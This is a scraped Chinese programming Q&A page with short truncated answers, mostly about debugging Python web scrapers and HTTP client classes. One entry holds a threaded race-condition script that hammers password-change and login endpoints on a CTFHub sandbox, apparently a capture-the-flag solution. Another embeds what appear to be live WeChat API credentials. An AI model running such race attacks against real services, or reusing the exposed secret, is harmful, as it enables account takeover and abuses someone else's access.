class PicSpiderPipeline(ImagesPipeline): def get_media_requests(self, item, info): image_requests = super().get_media_requests(item,info) for img_req in image_requests: img_req.item = item return image_requests def file_path(self, request, response=None, info=None, *, item=None): old_path = super().file_path(request,response,info) title = request.item['title'] save_path = os.path.join(settings.IMAGES_STORE,title[0].replace('|','')) image_name = old_path.replace('full/','') return os.path.join(save_path,image_name) 此代码中title中包含这特殊的字符，当没有写上.replace('|','')时代码报错，代码没有报错，只是没有下载图片，在实际中如何查出这个问题，并打印出没有下载图片的原因

class PicSpiderPipeline(ImagesPipeline): def get_media_requests(self, item, info): image_requests = super().get_media_requests(item,info) for img_req in image_requests: img_req.item = item return image_requests def file_path(self, request, response=None, info=None, *, item=None): old_path = super().file_path(request,response,info) title = request.item['title'] save_path = os.path.join(settings.IMAGES_STORE,title[0].replace('|','')) image_name = old_path.replace('full/','') return os.path.join(save_path,image_name) 此代码中怎样知道标题title含有特殊符号

image_requests = super().get_media_requests(item, info) for img_req in image_requests: img_req.item = item return image_requests def file_path(self, request, response=None, info=None, *, item=...

优化代码class DeliveryRequest: def init(self, name, location, time): self.name = name self.location = location self.time = time class DeliveryStation: def init(self, location): self.location = location self.requests = [] def add_request(self, request): self.requests.append(request) def match_deliveryman(self, deliverymen): for request in self.requests: for deliveryman in deliverymen: if request.location == deliveryman.location and request.time == deliveryman.available_time: print(f"您有一个快递将送给{request.name}，请您按时送货") print(f"您的快递将由{deliveryman.name}在{request.time}送达，请您按时等候") deliverymen.remove(deliveryman) break class DeliveryMan: def init(self, name, location, available_time): self.name = name self.location = location self.available_time = available_time class Dispatcher: def init(self, delivery_stations, deliverymen): self.delivery_stations = delivery_stations self.deliverymen = deliverymen def dispatch(self): for station in self.delivery_stations: station.match_deliveryman(self.deliverymen)

self.requests.append(request) def match_deliveryman(self, deliverymen): for request in self.requests: matching_deliverymen = [dm for dm in deliverymen if dm.location == request.location and dm....

class HttpClient: def init(self): self._session = requests.Session() def request(self, method, url, **kwargs):

方法的参数包括请求方法 method、请求的 URL 地址 url，以及其他的关键字参数 kwargs，这些参数将被传递给 requests 库中的 request 函数。通过使用该类，可以方便地管理 HTTP 请求的会话和请求头部信息，以及处理...

帮我把一下代码设置一个合理请求头，并加入一个延时import requests import os from bs4 import BeautifulSoup class NovelDownloader: def init(self, root_url): self.root_url = root_url self.book_list = [] self.chapter_list = [] def get_url(self, url): while True: try: res = requests.get(url) if res.status_code == 200: print("页面获取成功！") return res.text else: print("页面返回异常！", res.status_code) except: print("页面获取错误！") def get_book_list(self): res = self.get_url(self.root_url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "name"}) for a in a_list: self.book_list.append(a["href"]) self.book_list = [self.root_url + i for i in self.book_list] self.book_list.remove('http://www.biquge5200.cc/') def get_chapter_list(self, url): res = self.get_url(url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "chapter"}) for a in a_list: self.chapter_list.append((a["href"], a.text.replace("\n", ""))) def get_content(self, chapter): url = self.root_url + chapter[0] print(url) book_name = chapter[0].split("/")[1] print(book_name) if not os.path.exists(book_name): os.mkdir(book_name) res = self.get_url(url) html = BeautifulSoup(res, "html.parser") content = html.find("div", {"id": "content"}).text print(content) path = os.path.join(book_name, chapter[1]) with open(path, "w", encoding="utf8") as f: f.write(content) def main(self): self.get_book_list() for book in self.book_list: self.get_chapter_list(book) for chapter in self.chapter_list: self.get_content(chapter) if name == 'main': root_url = "http://www.biquge5200.cc/" nd = NovelDownloader(root_url) nd.main()

res = requests.get(url, headers=self.headers) if res.status_code == 200: print("页面获取成功！") return res.text else: print("页面返回异常！", res.status_code) except: print("页面获取错误！") ...

import requests import os from bs4 import BeautifulSoup class book_spider(): def init(self,root_url): self.root_url=root_url self.book_list=[] #一级页面中获取的数据（二级页面地址）存放于此列表 self.chapter_list=[] #二级页面中获取的数据（三级页面地址和章节名）存放于此列表 def get_url(url): while True: try: res=requests.get(url) if res.status_code==200: res.encoding =res.apparent_encoding print("页面获取成功") return res.text else: print("页面返回异常",res.status_code) except: print("页面获取错误") def get_book_list(self.url): res = self.get_url(url) html = BeautifulSoup(res,"html.parser") a_list = html.find_all("a",{"class":"name"}) for a in a_list: self.book_list.append(a["href"]) self.book_list = [self.root_url+i for i in self.bbok_list] self.book_list.remove('http://10.1.88.252:7000/庆余年') print(book_list) def get_chapter_list(self,url): res = self.get_url(url) html = BeautifulSoup(res,"html.parser") a_list = html.find_all("a",{"class":"chapter"}) for a in a_list: self.chapter_list.append((a["href"],a.text.replace("\n",""))) def get_content(self.chapter): url = self.root_url + chapter[0] print(url) book_name = chapter[0].split("/")[1] print(book_name) if not os.path.exists(book_name): os.mkdir(book_name) res = self.get_url(url) html = BeautifulSoup(res,"html.parser") content = html.find("div",{"id":"content"}).text print(content) path = os.path.join(book_name,chapter[1]) with open(path,"w",encoding="utf8") as f: f.write(content) def main(): self.get_book_list(self.root_url) for book in self.book_list: self.get_chapter_liat(book) for chapter in chapter_list: self.get_content(chapter) book_s = book_spider("http://10.1.88.252:7000") book_s.main()这是一段爬虫代码，找出里面的错误并改正

res=requests.get(url) if res.status_code==200: res.encoding =res.apparent_encoding print("页面获取成功") return res.text else: print("页面返回异常",res.status_code) except: print("页面获取...

def init(self, api_root_url): self.api_root_url = api_root_url self.session = requests.session() 为什么定义api_root_url

self.session = requests.session() def get_user_info(self, user_id): url = self.api_root_url + '/user/info' params = {'user_id': user_id} response = self.session.get(url, params=params) return ...

import requests import os from bs4 import BeautifulSoup class book_spider(): def init(self,root_url): self.root_url=root_url self.book_list=[] #一级页面中获取的数据（二级页面地址）存放在此列表 self.chapter_list=[] #二级页面中获取的数据（三级页面网址和章节名称）存放此列表 def get_url(self,url): while True: try: res=requests.get(url) if res.status_code==200: #返回http请求状态码 200为正常 res.encoding = res.apparent_encoding #页面编码方式使用页面声明的编码方式 print("页面获取成功！") return res.text else: print("页面返回异常！",res.status_code) except: print("页面获取错误！") def get_book_list(self,url): res =self.get_url(url) html=BeautifulSoup(res,"html.parser") a_list = html.find_all("a",{"class":"name"}) for a in a_list: self.book_list.append(a["href"]) self.book_list=[self.root_url+i for i in self.book_list] self.book_list.remove("http://10.1.88.252:7000/庆余年") def get_chapter_list(self,url): res =self.get_url(url) html = BeautifulSoup(res,"html.parser") a_list = html.find_all("a",{"class":"chapter"}) for a in a_list: self.chapter_list.append((a["href"],a.text.replace("\n",""))) def get_content(self,chapter): url =self.root_url +chapter[0] print(url) book_name = chapter[0].split("/")[1] print(book_name) if not os.path.exists(book_name): os.mkdir(book_name) res =self.get_url(url) html = BeautifulSoup(res,"html.parser") content = html.find("div",{"id":"content"}).text print(content) path=os.path.join(book_name,chapter[1]) with open(path,"w",encoding="utf8")as f: f.write(content) def main(self): self.get_book_list(self.root_url) for book in self.book_list: self.get_chapter_list(book) for chapter in self.chapter_list: self.get_content(chapter) book_s= book_spider("http://10.1.88.252:7000") book_s.main()代码解读

2. get_book_list(self, url)：获取一级页面中的数据（即小说章节列表），并将二级页面地址存入self.book_list列表中。 3. get_chapter_list(self, url)：获取二级页面中的数据（即章节名和章节内容所在的网址），...

import requests from bs4 import BeautifulSoup import openpyxl class LianJiaSpider(): def init(self): self.url = 'https://bj.lianjia.com/ershoufang/pg{0}/' self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 SLBrowser/8.0.0.12022 SLBChan/109'} def send_request(self, url): resp = requests.get(url, headers=self.headers) if resp.status_code == 200: return resp def parse_html(self, resp): lst = [] html = resp.text bs = BeautifulSoup(html, 'lxml') ul = bs.find('ul', class_='sellListContent') li_list = ul.find_all('li') for item in li_list: title = item.find('div', class_='title').text positionInfo = item.find('div', class_='positionInfo').text address = item.find('div', class_='address').text followInfo = item.find('div', class_='followInfo').text tag = item.find('div', class_='tag').text totalPrice = item.find('div', class_='totalPrice totalPrice2').text unitPrice = item.find('div', class_='unitPrice').text # print(unitPrice) lst.append((title, positionInfo, address, followInfo, tag, totalPrice, unitPrice)) print(lst) self.save(lst) def save(self, lst): wb = openpyxl.Workbook() sheet = wb.active for row in lst: sheet.append(row) continue wb.save('D:/爬虫/链家.csv') def start(self): for i in range(1, 5): full_url = self.url.format(i) resp = self.send_request(full_url) #print(resp.text) self.parse_html(resp) if name == 'main': lianjia = LianJiaSpider() lianjia.start()使用以上代码爬取数据保存到文件中只显示最后一页30条数据，前面页码的数据都被覆盖了，如何更改

resp = requests.get(url, headers=self.headers) if resp.status_code == 200: return resp def parse_html(self, resp): html = resp.text bs = BeautifulSoup(html, 'lxml') ul = bs.find('ul', class_='...

import requests import threading s = requests.session() class MyThread(threading.Thread): def init(self, item): threading.Thread.init(self) self.item = item def run(self): main(self.item) def main(args): if args == 1: while True: ur11 = 'http://challenge-9cbc3fe3498481c8.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456' c = s.get(ur11).content else: while True: url2 = 'http://challenge-9cbc3fe3498481c8.sandbox.ctfhub.com:10800/login_check.php?passwd=123456' # c11 = s.get(url2, data={' passwd': 111}).content c1 = s.get(url2) print(c1.text) if name == 'main': t1 = MyThread(1) t2 = MyThread(2) t1.start() t2.start()分析以下以上python程序

这段代码是用 Python 编写的，使用了 requests 和 threading 两个模块。它定义了一个名为 MyThread 的类，这个类继承了 threading.Thread 类，并实现了一个 run 方法。接着定义了一个名为 main 的函数，用于执行某些...

import csv import time import requests from lxml import etree list = [] class LJ(): def get_url(self): url_list = []分析一下这段代码

这段代码定义了一个名为LJ的类，其中包含了一个名为get_url的方法。该方法的作用是获取网页链接，将链接存储到一个列表中，并返回该列表。具体实现如下： - 首先，定义了一个名为url_list的空列表，用于...

f = requests.get(self.download_url, stream=True)什么意思

这行代码使用了 Python 的 requests 库向指定的 URL 发送了一个 GET 请求，并设置了 stream=True 参数以启用流式下载。这意味着响应内容不会被立即下载，而是以数据流的形式逐步获取，以降低内存占用和提高效率。

import socket import time import requests import tkinter as tk HOST = "192.168.185.60" # 服务器端可以写"localhost"，可以为空字符串""，也为本机IP地址 PORT = 8888 # 端口号 class ChatWindow: def init(self, master): self.master = master self.master.geometry('500x500') self.master.title('英文翻译聊天室') self.master.protocol('WM_DELETE_WINDOW', self.close_window) self.create_widgets() self.connect_to_server() def create_widgets(self): self.chat_label = tk.Label(self.master, text='聊天记录') self.chat_label.pack() self.chat_text = tk.Text(self.master, height=20) self.chat_text.pack() self.input_label = tk.Label(self.master, text='输入框') self.input_label.pack() self.input_text = tk.Text(self.master, height=5) self.input_text.pack() self.send_button = tk.Button(self.master, text='发送', command=self.send_message) self.send_button.pack() def connect_to_server(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((HOST, PORT)) self.chat_text.insert(tk.END, '已连接到服务器\n') def send_message(self): message = self.input_text.get('1.0', tk.END).strip() self.input_text.delete('1.0', tk.END) if not message: return self.sock.sendall(message.encode()) self.chat_text.insert(tk.END, f'发送：{message}\n') self.receive_message() def receive_message(self): data = self.sock.recv(1024) data = data.decode() if data: self.chat_text.insert(tk.END, f'接收：{data}\n') def close_window(self): self.sock.close() self.master.destroy() def translate(text): data1 = {'doctype': 'json', 'type': 'zh_TW', 'i': text} r = requests.get("http://fanyi.youdao.com/translate", params=data1) result = r.json() t1 = result.setdefault('translateResult') t2 = t1[0] t3 = t2[0] return t3.setdefault('tgt') if name == 'main': root = tk.Tk() chat_window = ChatWindow(root) while True: root.update() try: chat_window.receive_message() except socket.error: break time.sleep(0.05)这串代码有什么问题吗

这段代码存在一些潜在的问题： 1. 缺少异常处理：如果网络连接出现问题，程序会崩溃。可以使用 try-except 语句处理异常并给出友好的提示。 2. 接收数据长度限制：这里使用了 socket.recv(1024) 方法接收数据，...

解释以下python代码：def get_movie_list(url): res = requests.get(url, headers=headers) soup = BeautifulSoup(res.text, 'html.parser') movie_list = [] for movie in soup.select('.item'): name = movie.select('.title')[0].text.strip() rating_num = movie.select('.rating_num')[0].text.strip() movie_list.append({'name': name, 'rating_num': rating_num}) return movie_list if name == 'main': movie_list = get_movie_list(url) for movie in movie_list: print(movie['name'], movie['rating_num'])

res = requests.get(url, headers=headers) soup = BeautifulSoup(res.text, 'html.parser') movie_list = [] for movie in soup.select('.item'): name = movie.select('.title')[0].text.strip() rating_num...

import requests from lxml import etree import csv import os import pandas as pd import matplotlib.pyplot as plt class MovieDataCollector: def init(self): self.url = "https://movie.douban.com/top250?start=%s&filter=" self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' } self.urls = ['https://movie.douban.com/top250?start={}&filter='.format(str(i * 25)) for i in range(10)] self.movies_data = [] def get_first_text(self, element_list): try: return element_list[0].strip() except IndexError: return "" def download_image(self, url, title): response = requests.get(url) image_name = f'{title.replace("/", "_")}.jpg' image_path = os.path.join('films_pic', image_name) with open(image_path, 'wb') as f: f.write(response.content) def scrape_movie_data(self): count = 1 for url in self.urls: res = requests.get(url=url, headers=self.headers) print(res.status_code) html = etree.HTML(res.text) lis = html.xpath('//*[@id="content"]/div/div[1]/ol/li') print('当前是第{}页'.format(count)) for li in lis: rank = self.get_first_text(li.xpath('./div/div[1]/em/text()')) title = self.get_first_text(li.xpath('./div/div[2]/div[1]/a/span[1]/text()')) director = self.get_first_text(li.xpath('./div/div[2]/div[2]/p[1]/text()')) score = self.get_first_text(li.xpath('./div/div[2]/div[2]/div/span[2]/text()')) comment = self.get_first_text(li.xpath('./div/div[2]/div[2]/div/span[4]/text()')) # #下载电影图片 # image_url = self.get_first_text(li.xpath('./div/div[1]/a/img/@src')) # self.download_image(image_url, title) self.movies_data.append({ '排名': rank,解释这段代码

在获取电影信息的过程中，还调用了一个名为get_first_text的方法，该方法用于选取XPath表达式所匹配的元素列表中的第一个元素，并返回该元素的文本内容。除此之外，还有一个名为download_image的方法，该方法用于...

class DouBanBook(object): def init(self, start_url, headers, queue): self.start_url = start_url self.headers = headers self.queue = queue def get_response(self, url): try: session = requests.Session() response = session.get(url, headers=self.headers) response.encoding = "utf-8" response.raise_for_status() return response except Exception as e: logging.warn(e.args, exc_info=False) logging.basicConfig(level=logging.WARN, filename="doubanbook.log", filemode="w", format='%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S') # 获取图书标签页信息和链接 def parse_start_url(self, response): selector = Selector(text=response.text) # td_list = selector.xpath("//div[@class='article']/div[@class='']/div/table/tbody/tr/td") td_list = selector.xpath("//table[@class='tagCol']/tbody/tr/td") for td in td_list: items = {} items['book_tag'] = td.xpath("./a/text()").get() # 图书标签 tag_href = td.xpath("./a/@href").get() # 标签链接 tag_url = "https://book.douban.com" + tag_href self.queue.put(tag_url)

它使用 requests 库发送一个 GET 请求，并设置了请求头。如果请求成功，则返回响应对象；如果发生异常，则记录异常并返回 None。 - parse_start_url(self, response): 这个方法用于解析起始URL的响应，并提取...

import requests class wechatapi(): def init(self): self.acess_token_url= "https://api.weixin.qq.com/cgi-bin/token" self.query_tag_url= "https://api.weixin.qq.com/cgi-bin/tags/get" self.edit_tag_url= "https://api.weixin.qq.com/cgi-bin/tags/update?access_token='tokenValue'" self.upload_doc_url= "https://api.weixin.qq.com/cgi-bin/media/uploadimg?access_token=’tokenValue’" self.session= requests.Session() def acess_token_api(self): params = { "grant_type": "client_credential", "appid" : "wx8a9de038e93f77ab", "secret" : "8326fc915928dee3165720c910effb86" } reponse = self.session.get(url=self.acess_token_url,params=params) token = reponse.json()["access_token"] print(token) return token # def query_tag_api(self): # params= { # "access_token": "tokenValue" # } a = wechatapi a.acess_token_api()报错信息Traceback (most recent call last): File "D:\pythonProject1\WeChat\api\weChatApi.py", line 38, in <module> a.acess_token_api() TypeError: wechatapi.acess_token_api() missing 1 required positional argument: 'self'为什么报错，该怎样解决

这个错误是因为你在调用方法时没有传入实例对象本身，缺少了 self 参数。在调用 acess_token_api() 方法时，需要在实例对象 a 上调用，即 a.acess_token_api()。你可以将 a = wechatapi 修改为 a = ...

from common.yaml_utli import read_config_yaml class SendRequest: # 会话，回话对象能够自动管理Cookie关联， session = requests.session() def int(self, base, base_url): self.base_url = read_config_yaml(base, base_url) def all_send_request(self, method, url, kwargs): # 处理基础路径 self.base_url = self.base_url + url #发送请求 res = SendRequest.session.request(method=method, url=self.base_url, kwargs) return res print(SendRequest("base","base_appsvr_url"))这段代码有什么问题

session = requests.session() def __init__(self, base, base_url): self.base_url = read_config_yaml(base, base_url) def all_send_request(self, method, url, **kwargs): # 处理基础路径 full_url = ...

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